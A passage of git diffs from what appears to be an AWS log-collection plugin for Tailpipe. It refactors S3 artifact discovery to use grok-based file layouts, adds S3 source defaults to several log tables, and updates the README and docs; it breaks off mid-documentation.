DiscoverArtifacts(ctx context.Context) error { - // cast the collection state to the correct type - collectionState := s.CollectionState.(*AwsS3CollectionState) - // verify this is initialized (i.e. the regex has been created) - if collectionState == nil || !collectionState.Initialized() { - return fmt.Errorf("collection state not initialized") + layout := s.Config.GetFileLayout() + filterMap := make(map[string]*filter.SqlFilter) + g := grok.New() + // add any patterns defined in config + err := g.AddPatterns(s.Config.GetPatterns()) + if err != nil { + return fmt.Errorf("error adding grok patterns: %v", err) } - startAfterKey := s.Config.StartAfterKey - if collectionState.UseStartAfterKey { - startAfterKey = collectionState.StartAfterKey + err = s.walkS3(ctx, s.Config.Bucket, "", layout, filterMap, g) + if err != nil { + s.errorList = append(s.errorList, fmt.Errorf("error discovering artifacts in S3 bucket %s, %w", s.Config.Bucket, err)) } - paginator := s3.NewListObjectsV2Paginator(s.client, &s3.ListObjectsV2Input{ - Bucket: &s.Config.Bucket, - Prefix: s.Config.Prefix, - StartAfter: startAfterKey, - }) - - for paginator.HasMorePages() { - output, err := paginator.NextPage(ctx) - if err != nil { - return fmt.Errorf("failed to get page of S3 objects, %w", err) - } - for _, object := range output.Contents { - path := *object.Key - - // check the extension - if s.Extensions.IsValid(path) { - // populate enrichment fields the source is aware of - // - in this case the source location - sourceEnrichmentFields := &schema.SourceEnrichment{ - CommonFields: schema.CommonFields{ - TpSourceType: AwsS3BucketSourceIdentifier, - TpSourceName: &s.Config.Bucket, - TpSourceLocation: &path, - }, - } - - info := types.NewArtifactInfo(path, types.WithSourceEnrichment(sourceEnrichmentFields)) - - // extract properties based on the filename - var extractedProperties map[string]string - extractedProperties, err = collectionState.ParseFilename(path) - if err != nil { - // TODO #error #paging what??? download anyway??? - continue - } - err := info.SetPathProperties(extractedProperties) - if err != nil { - // TODO #error what??? download - continue - } - - if !collectionState.ShouldCollect(info) { - continue - } - - // notify observers of the discovered artifact - if err = s.OnArtifactDiscovered(ctx, info); err != nil { - // TODO #error should we continue or fail? - return fmt.Errorf("failed to notify observers of discovered artifact, %w", err) - } - } - } + if len(s.errorList) > 0 { + return errors.Join(s.errorList...) } - return nil } func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.ArtifactInfo) error { - collectionState := s.CollectionState.(*AwsS3CollectionState) - // Get the object from S3 getObjectOutput, err := s.client.GetObject(ctx, &s3.GetObjectInput{ Bucket: &s.Config.Bucket, - Key: &info.Name, + Key: &info.OriginalName, }) if err != nil { return fmt.Errorf("failed to download artifact, %w", err) @@ -180,7 +121,7 @@ func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.Ar defer getObjectOutput.Body.Close() // copy the object data to a temp file - localFilePath := path.Join(s.TmpDir, info.Name) + localFilePath := path.Join(s.TempDir, info.OriginalName) // ensure the directory exists of the file to write to if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { return fmt.Errorf("failed to create directory for file, %w", err) @@ -200,10 +141,8 @@ func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.Ar } // notify observers of the discovered artifact - downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name, SourceEnrichment: info.SourceEnrichment} + downloadInfo := &types.ArtifactInfo{LocalName: localFilePath, OriginalName: info.OriginalName, SourceEnrichment: info.SourceEnrichment} - // update the collection state - collectionState.Upsert(info) return s.OnArtifactDownloaded(ctx, downloadInfo) } @@ -222,3 +161,43 @@ func (s *AwsS3BucketSource) getClient(ctx context.Context) (*s3.Client, error) { return s3.NewFromConfig(*cfg), nil } + +func (s *AwsS3BucketSource) walkS3(ctx context.Context, bucket string, prefix string, layout *string, filterMap map[string]*filter.SqlFilter, g *grok.Grok) error { + paginator := s3.NewListObjectsV2Paginator(s.client, &s3.ListObjectsV2Input{ + Bucket: aws.String(bucket), + Prefix: aws.String(prefix), + Delimiter: aws.String("/"), + }) + + for paginator.HasMorePages() { + page, err := paginator.NextPage(ctx) + if err != nil { + return fmt.Errorf("error getting next page, %w", err) + } + + // Directories + for _, dir := range page.CommonPrefixes { + err = s.WalkNode(ctx, *dir.Prefix, "", layout, true, g, filterMap) + if err != nil { + if errors.Is(err, fs.SkipDir) { + continue + } + return fmt.Errorf("error walking node, %w", err) + } + err = s.walkS3(ctx, bucket, *dir.Prefix, layout, filterMap, g) + if err != nil { + s.errorList = append(s.errorList, err) + } + } + + // Files + for _, obj := range page.Contents { + err = s.WalkNode(ctx, *obj.Key, "", layout, false, g, filterMap) + if err != nil { + s.errorList = append(s.errorList, fmt.Errorf("error parsing object %s, %w", *obj.Key, err)) + } + } + } + + return nil +} diff --git a/sources/s3_bucket_source_config.go b/sources/s3_bucket_source_config.go index 19fdb348..94a4f42f 100644 --- a/sources/s3_bucket_source_config.go +++ b/sources/s3_bucket_source_config.go @@ -12,14 +12,13 @@ import ( type AwsS3BucketSourceConfig struct { // required to allow partial decoding Remain hcl.Body `hcl:",remain" json:"-"` - artifact_source_config.ArtifactSourceConfigBase - - Bucket string `hcl:"bucket"` - Prefix *string `hcl:"prefix"` - Extensions []string `hcl:"extensions,optional"` - Region *string `hcl:"region"` - StartAfterKey *string `hcl:"start_after_key"` - LexicographicalOrder bool `hcl:"lexicographical_order,optional"` + artifact_source_config.ArtifactSourceConfigImpl + + Bucket string `hcl:"bucket"` + Prefix *string `hcl:"prefix"` + Region *string `hcl:"region"` + StartAfterKey *string `hcl:"start_after_key"` + LexicographicalOrder bool `hcl:"lexicographical_order,optional"` } func (c *AwsS3BucketSourceConfig) Validate() error { @@ -27,17 +26,6 @@ func (c *AwsS3BucketSourceConfig) Validate() error { return fmt.Errorf("bucket is required and cannot be empty") } - if len(c.Extensions) > 0 { - for _, ext := range c.Extensions { - if ext == "" { - return fmt.Errorf("extensions cannot be empty") - } - if ext[0] != '.' { - return fmt.Errorf("extensions must start with a dot") - } - } - } - if c.Region != nil && !isValidAWSRegion(*c.Region) { return fmt.Errorf("invalid AWS region '%s'", *c.Region) } diff --git a/sources/s3_collection_state.go b/sources/s3_collection_state.go index 852438cf..b71ea905 100644 --- a/sources/s3_collection_state.go +++ b/sources/s3_collection_state.go @@ -1,42 +1,43 @@ package sources -import ( - "github.com/turbot/tailpipe-plugin-sdk/collection_state" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// AwsS3CollectionState contains the collection state data for an AWS S3 Bucket artifact source -type AwsS3CollectionState struct { - collection_state.ArtifactCollectionState[*AwsS3BucketSourceConfig] - - StartAfterKey *string `json:"start_after_key,omitempty"` - UseStartAfterKey bool `json:"use_start_after_key"` -} - -func NewAwsS3CollectionState() collection_state.CollectionState[*AwsS3BucketSourceConfig] { - cs := &AwsS3CollectionState{} - cs.StartObjects = make(map[string]*collection_state.ArtifactMetadata) - cs.EndObjects = make(map[string]*collection_state.ArtifactMetadata) - return cs -} - -func (s *AwsS3CollectionState) Init(config *AwsS3BucketSourceConfig) error { - s.UseStartAfterKey = config.LexicographicalOrder - // call base init - return s.ArtifactCollectionState.Init(config) -} - -// IsEmpty returns true if the collection state is empty -func (s *AwsS3CollectionState) IsEmpty() bool { - return s.StartAfterKey == nil && s.StartTime.IsZero() -} - -// Upsert adds new/updates an existing object with its current metadata -// Note: the object name is the full path to the object -func (s *AwsS3CollectionState) Upsert(metadata *types.ArtifactInfo) { - s.ArtifactCollectionState.Upsert(metadata) - - if s.UseStartAfterKey { - s.StartAfterKey = &metadata.Name - } -} +// +//import ( +// "github.com/turbot/tailpipe-plugin-sdk/collection_state" +// "github.com/turbot/tailpipe-plugin-sdk/types" +//) +// +//// AwsS3CollectionState contains the collection state data for an AWS S3 Bucket artifact source +//type AwsS3CollectionState struct { +// collection_state.ArtifactCollectionState[*AwsS3BucketSourceConfig] +// +// StartAfterKey *string `json:"start_after_key,omitempty"` +// UseStartAfterKey bool `json:"use_start_after_key"` +//} +// +//func NewAwsS3CollectionState() collection_state.CollectionState[*AwsS3BucketSourceConfig] { +// cs := &AwsS3CollectionState{} +// cs.StartObjects = make(map[string]*collection_state.ArtifactMetadata) +// cs.EndObjects = make(map[string]*collection_state.ArtifactMetadata) +// return cs +//} +// +//func (s *AwsS3CollectionState) Init(config *AwsS3BucketSourceConfig) error { +// s.UseStartAfterKey = config.LexicographicalOrder +// // call base init +// return s.ArtifactCollectionState.Init(config) +//} +// +//// IsEmpty returns true if the collection state is empty +//func (s *AwsS3CollectionState) IsEmpty() bool { +// return s.StartAfterKey == nil && s.StartTime.IsZero() +//} +// +//// Upsert adds new/updates an existing object with its current metadata +//// Note: the object name is the full path to the object +//func (s *AwsS3CollectionState) Upsert(metadata *types.ArtifactInfo) { +// s.ArtifactCollectionState.Upsert(metadata) +// +// if s.UseStartAfterKey { +// s.StartAfterKey = &metadata.Name +// } +//} diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index 0f2ed8b1..cac0c369 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -4,8 +4,12 @@ import ( "time" "github.com/rs/xid" + + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/mappers" "github.com/turbot/tailpipe-plugin-sdk/row_source" @@ -29,7 +33,20 @@ func init() { type AlbAccessLogTable struct{} func (c *AlbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.AlbAccessLog] { + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region_path}/%{YEAR:year_path}/%{MONTHNUM:month_path}/%{MONTHDAY:day_path}/%{DATA:load_balancer_name}_%{TIMESTAMP_ISO8601:end_time}_%{DATA:random_suffix}.log"), + } + return []*table.SourceMetadata[*rows.AlbAccessLog]{ + { + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Mapper: mappers.NewGonxMapper[*rows.AlbAccessLog](albLogFormat, albLogFormatNoConnTrace), + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, { // any artifact source SourceName: constants.ArtifactSourceIdentifier, diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 5075aadb..aeba4c8d 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -5,6 +5,7 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/extractors" "github.com/turbot/tailpipe-plugin-aws/mappers" @@ -32,17 +33,23 @@ func init() { type CloudTrailLogTable struct{} func (t *CloudTrailLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CloudTrailLog] { - // the default file layout for CloudTrail logs in S3 - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/CloudTrail/%{DATA:region_path}/%{YEAR:year_path}/%{MONTHNUM:month_path}/%{MONTHDAY:day_path}/%{NUMBER:prefix}_CloudTrail_%{DATA:region}_%{YEAR:year}%{MONTHNUM:month}%{MONTHDAY:day}T%{HOUR:hour}%{MINUTE:minute}Z_%{DATA:suffix}.json.gz"), } return []*table.SourceMetadata[*rows.CloudTrailLog]{ { - // any artifact source + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithArtifactExtractor(extractors.NewCloudTrailLogExtractor()), + }, + }, + { + // any other artifact source SourceName: constants.ArtifactSourceIdentifier, Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithArtifactExtractor(extractors.NewCloudTrailLogExtractor()), }, }, diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index c3d8867c..5e8c7d7e 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -4,12 +4,11 @@ import ( "time" "github.com/rs/xid" + typehelpers "github.com/turbot/go-kit/types" - "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/schema" @@ -35,18 +34,12 @@ func (t *CostAndUsageLogTable) Identifier() string { } func (t *CostAndUsageLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CostAndUsageLog] { - // TODO fix FileLayout - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("/Users/vedmisra/billing-info/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), - } - return []*table.SourceMetadata[*rows.CostAndUsageLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, Mapper: &mappers.CostAndUsageLogMapper{}, Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()}, }, } diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 3b76cf1c..36173504 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -4,8 +4,11 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/mappers" "github.com/turbot/tailpipe-plugin-sdk/row_source" @@ -33,8 +36,22 @@ func (c *ElbAccessLogTable) Identifier() string { } func (c *ElbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.ElbAccessLog] { + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region_path}/%{YEAR:year_path}/%{MONTHNUM:month_path}/%{MONTHDAY:day_path}/%{DATA:elb_name}_%{TIMESTAMP_ISO8601:timestamp}_%{DATA:suffix}.log"), + } + return []*table.SourceMetadata[*rows.ElbAccessLog]{ { + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Mapper: mappers.NewGonxMapper[*rows.ElbAccessLog](elbLogFormat, elbLogFormatNoConnTrace), + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, + { + // any artifact source SourceName: constants.ArtifactSourceIdentifier, Mapper: mappers.NewGonxMapper[*rows.ElbAccessLog](elbLogFormat, elbLogFormatNoConnTrace), Options: []row_source.RowSourceOption{ diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index a38c760d..e60eb294 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -7,6 +7,7 @@ import ( "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -33,16 +34,24 @@ func (c *GuardDutyFindingTable) Identifier() string { } func (c *GuardDutyFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.GuardDutyFinding] { - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/GuardDuty/%{DATA:region_path}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:unique_id}.jsonl.gz"), } return []*table.SourceMetadata[*rows.GuardDutyFinding]{ + { + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Mapper: &mappers.GuardDutyMapper{}, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, { SourceName: constants.ArtifactSourceIdentifier, Mapper: &mappers.GuardDutyMapper{}, Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), }, }, diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index db32be15..72540b8e 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -4,9 +4,12 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/schema" @@ -30,7 +33,20 @@ func (c *LambdaLogTable) Identifier() string { } func (c *LambdaLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.LambdaLog] { + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/lambda/%{DATA:function_name}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:function_name}-%{TIMESTAMP_ISO8601:timestamp}-%{DATA:suffix}.log"), + } + return []*table.SourceMetadata[*rows.LambdaLog]{ + { + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Mapper: &mappers.LambdaLogMapper{}, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, { // any artifact source SourceName: constants.ArtifactSourceIdentifier, diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 6b710329..fcd8b24a 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -4,8 +4,12 @@ import ( "time" "github.com/rs/xid" + + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/mappers" "github.com/turbot/tailpipe-plugin-sdk/row_source" @@ -32,7 +36,20 @@ func (c *S3ServerAccessLogTable) Identifier() string { } func (c *S3ServerAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.S3ServerAccessLog] { + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{DATA:bucket_name}/%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}-%{HOUR:hour}-%{MINUTE:minute}-%{SECOND:second}-%{DATA:suffix}.gz"), + } + return []*table.SourceMetadata[*rows.S3ServerAccessLog]{ + { + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Mapper: mappers.NewGonxMapper[*rows.S3ServerAccessLog](s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced), + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, { // any artifact source SourceName: constants.ArtifactSourceIdentifier, diff --git a/tables/securityhub_finding_table.go b/tables/securityhub_finding_table.go index 22360d3f..8af195b4 100644 --- a/tables/securityhub_finding_table.go +++ b/tables/securityhub_finding_table.go @@ -7,6 +7,7 @@ import ( "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -29,18 +30,23 @@ func (c *SecurityHubFindingTable) Identifier() string { } func (c *SecurityHubFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.SecurityHubFinding] { - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/SecurityHub/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/findings\\.json\\.gz"), + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/SecurityHub/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/findings.json.gz"), } return []*table.SourceMetadata[*rows.SecurityHubFinding]{ { - SourceName: constants.ArtifactSourceIdentifier, + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, Mapper: &mappers.SecurityHubFindingMapper{}, Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), }, }, + { + SourceName: constants.ArtifactSourceIdentifier, + Mapper: &mappers.SecurityHubFindingMapper{}, + }, } } diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 4ad6a78f..0fd1cbbb 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -4,9 +4,12 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/schema" @@ -34,7 +37,20 @@ func (c *VpcFlowLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.VpcF fields = c.Format.Fields } + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/vpcflowlogs/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:filename}.gz"), + } + return []*table.SourceMetadata[*rows.VpcFlowLog]{ + { + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Mapper: mappers.NewVpcFlowLogMapper(fields), + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, { // any artifact source SourceName: constants.ArtifactSourceIdentifier, diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index c8977db2..f7178ffe 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -5,9 +5,11 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -31,16 +33,25 @@ type WafTrafficLogTable struct{} func (c *WafTrafficLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.WafTrafficLog] { // the default file layout for Waf traffic logs in S3 - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/WAFLogs/(?P[a-zA-Z0-9-_]+)/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/(?P\\d{2})/(?P.+\\.gz)"), + defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/WAFLogs/%{DATA:log_group_name}/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{HOUR:hour}/%{DATA:filename}.gz"), } return []*table.SourceMetadata[*rows.WafTrafficLog]{ + { + // S3 artifact source + SourceName: sources.AwsS3BucketSourceIdentifier, + Mapper: &mappers.WafMapper{}, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, { // any artifact source SourceName: constants.ArtifactSourceIdentifier, Mapper: &mappers.WafMapper{}, - Options: []row_source.RowSourceOption{artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()}, + Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, }, } } From c6c171584fe5f11d07d532140b7511326e42728e Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Tue, 14 Jan 2025 23:07:35 -0500 Subject: [PATCH 129/180] Update README, index doc, table, and source docs for better readability (#55) --- README.md | 6 +- docs/index.md | 132 ++++++--- docs/sources/aws_s3_bucket.md | 61 ++++- docs/tables/aws_cloudtrail_log.md | 304 ++------------------- docs/tables/aws_cloudtrail_log_examples.md | 30 +- 5 files changed, 180 insertions(+), 353 deletions(-) diff --git a/README.md b/README.md index 7dddea2b..e0643c48 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # AWS Plugin for Tailpipe -Collect and query AWS logs using SQL to track activity, monitor trends, and detect anomalies across CloudTrail logs, S3 server access logs, ELB access logs, and more. +Collect and query AWS logs using SQL to track activity, monitor trends, and detect anomalies across CloudTrail logs. - **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** - Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) @@ -18,7 +18,7 @@ tailpipe plugin install aws Configure your log source: ```shell -vi ~/.tailpipe/config/aws.spc +vi ~/.tailpipe/config/aws.tpc ``` ```terraform @@ -80,7 +80,7 @@ TODO: How to configure it? Configure the plugin: ``` -vi ~/.tailpipe/config/aws.spc +vi ~/.tailpipe/config/aws.tpc ``` Try it! diff --git a/docs/index.md b/docs/index.md index d86cf3a2..c1322b3c 100644 --- a/docs/index.md +++ b/docs/index.md @@ -13,27 +13,79 @@ engines: ["tailpipe"] # AWS + Tailpipe -[Tailpipe](https://tailpipe.io) is an open-source CLI tool that allows you to obtain logs and query then with SQL. +[Tailpipe](https://tailpipe.io) is an open-source CLI tool that allows you to collect logs and query them with SQL. [AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. - +For example: -## Documentation +```sql +select + event_time, + event_source, + event_name, + user_identity.arn +from + aws_cloudtrail_log; +``` -- **[Table definitions & examples →](/plugins/turbot/aws/tables)** +```sh ++---------------------+-------------------+------------+--------------------------------------------------------------+ +| event_time | event_source | event_name | arn | ++---------------------+-------------------+------------+--------------------------------------------------------------+ +| 2024-09-30 23:56:11 | iam.amazonaws.com | CreateUser | arn:aws:sts::123456789012:assumed-role/admin_role/pam | +| 2024-09-30 23:56:11 | iam.amazonaws.com | CreateRole | arn:aws:sts::123456789012:role/warehouse | +| 2024-09-30 23:56:13 | ec2.amazonaws.com | CopyImage | arn:aws:sts::123456789012:assumed-role/assistant_role/dwight | +| 2024-09-30 23:56:13 | sts.amazonaws.com | AssumeRole | arn:aws:sts::123456789012:assumed-role/qa_role/creed | +| 2024-09-30 23:57:14 | sts.amazonaws.com | AssumeRole | arn:aws:sts::123456789012:assumed-role/qa_role/creed | ++---------------------+-------------------+------------+--------------------------------------------------------------+ +``` -## Get started +## Documentation + +- **[Table definitions →](/plugins/turbot/aws/tables)** +- **[Table queries →](/plugins/turbot/aws/queries)** +- **[Source definitions →](/plugins/turbot/aws/sources)** -### Install +## Get Started -Download and install the latest AWS plugin: +Install the plugin with [Tailpipe](https://tailpipe.io): -```bash +```shell tailpipe 